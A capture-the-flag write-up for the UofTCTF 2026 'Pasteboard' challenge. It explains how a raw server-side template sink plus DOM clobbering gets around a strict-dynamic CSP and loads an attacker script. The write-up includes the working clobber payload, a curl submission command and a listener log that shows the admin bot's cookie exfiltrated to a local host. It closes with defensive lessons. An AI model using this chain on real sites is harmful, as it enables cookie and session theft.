UofTCTF 2026 — Pasteboard Writeup
DOMPurify is fine — the bug is a raw server-side sink plus DOM clobbering: I hijack window.renderConfig to force a throw, then use window.errorReporter.path.value to load an arbitrary script under strict-dynamic and exfiltrate the bot's cookie.
UofTCTF 2026 — Pasteboard
A note-sharing app and an admin bot. DOMPurify 3.3.1 is current, and the CSP writes nonce + strict-dynamic, so a classic <script> or onerror goes nowhere. The bug is not in the sanitizer: the server template injects the user body with |safe, and app.js trusts names on window. Together that is DOM clobbering → arbitrary script under strict-dynamic → the flag from the admin cookie.
Scope: local run only. No external system was touched.
1. Source review
view.html offers two sinks. One raw, one escaped:
<div id="injected">{{ msg|safe }}</div>
<template id="rawMsg">{{ msg|e }}</template>
<div id="card" data-mode="safe"></div>CSP is script-src 'nonce-...' 'strict-dynamic' — inline script and inline handlers are dead, but default-src 'self', connect-src *, img-src 'self' data:.
app.js takes the escaped #rawMsg, runs it through DOMPurify, and writes it to #card; it never touches the raw #injected:
const raw = n ? n.textContent : ""; // rawMsg, escaped
const clean = DOMPurify.sanitize(raw, { ALLOW_DATA_ATTR: false });
card.innerHTML = clean; // single DOM write, sanitizedSo the sanitizer side is correct: the #card sink is closed. The actual raw HTML enters the DOM through #injected — <script> will not run, but elements carrying id/name are bound to window as named properties. And app.js reads those globals on its error path:
} catch (err) {
window.lastRenderError = String(err);
handleError();
}
function handleError() {
const c = window.errorReporter || { path: "/telemetry/error-reporter.js" };
const p = c.path && c.path.value ? c.path.value : String(c.path || "/telemetry/error-reporter.js");
const s = document.createElement("script");
s.src = new URL(p).href; // arbitrary URL
document.head.appendChild(s);
}Two globals are controllable through two branches: window.renderConfig (the cfg.mode.toLowerCase() line) and window.errorReporter.path.value (s.src). Because of strict-dynamic, a <script> created by a trusted script (app.js, nonce'd) is itself trusted, so the host allowlist is skipped.
The chain: raw |safe sink → DOM clobbering → cfg.mode throws → catch → clobbered errorReporter.path.value → <script src=attacker> → exfil. DOMPurify is not defeated; it is simply never in the path.
2. Running it
The cookie carried by the bot has to be set (the archive bot.py defines a FLAG constant but never uses it; a real bot carries the flag in the cookie). I stand up the app and an exfil listener.
On macOS
:5000is held by AirPlay, so I ran the app on127.0.0.1:5001. Same-origin only ties it to the/reportendpoint; since I drive the bot directly, the flow is identical. The listener is on:8899, cookie domain127.0.0.1.
# exfil listener (serves exfil.js, logs /leak calls)
python listener.py # 127.0.0.1:8899
# app, unmodified source
python -c "import app; app.app.run(host='127.0.0.1', port=5001)"The note body is the clobber payload:
<form id="errorReporter"><input name="path" value="http://127.0.0.1:8899/exfil.js"></form>
<div id="renderConfig"></div><div id="renderConfig">→window.renderConfigis an element;.modeis undefined →cfg.mode.toLowerCase()throws.<form id="errorReporter"><input name="path" …>→window.errorReporter.path.valueis our URL (two-layer clobbering).
curl -s -D - -o /dev/null -X POST http://127.0.0.1:5001/note/new \
--data-urlencode "title=dating" --data-urlencode "body=$BODY"
# Location: /note/872fff9dc87a40c1bf1e849b414c35d33. Bot and exfil
I drove the bot directly over CDP instead of Selenium (chromedriver version mismatch); it first sets the cookie, then opens the note:
cmd("Network.setCookie", {"name": "flag", "value": "uoftctf{fake_flag}", "url": ORIGIN + "/"})
cmd("Page.navigate", {"url": TARGET})The moment the bot opens the note, the chain fires. The listener's real log:
GET /exfil.js
GET /leak?cookie=flag%3Duoftctf%7Bfake_flag%7D&path=%2Fnote%2F872fff9dc87a40c1bf1e849b414c35d3
GET /leak?probe=executed&cookie=flag%3Duoftctf%7Bfake_flag%7DGET /exfil.js → strict-dynamic executed the arbitrary script. Two fetch('/leak?…') calls then carried the bot's cookie. URL-decoded:
flag=uoftctf{fake_flag}document.cookie shows the same thing on the page: flag=uoftctf{fake_flag}.
4. Flag and lessons
uoftctf{fake_flag}The archive bot.py carries this constant; a real event generates a different one per instance. What is demonstrated is the chain itself.
Lesson: using the sanitizer correctly is not enough. If a second sink on the same page prints user HTML with |safe, then even without <script> executing, taking over window globals via id/name is sufficient. Deriving "config" objects like window.renderConfig and window.errorReporter from the DOM, combined with strict-dynamic, turns into full XSS. Do not print user HTML raw; read config from somewhere safe to parse like a data- attribute rather than from the DOM namespace; and never derive the src of a nonce'd script under strict-dynamic from user input.
What do you think?
React to show your appreciation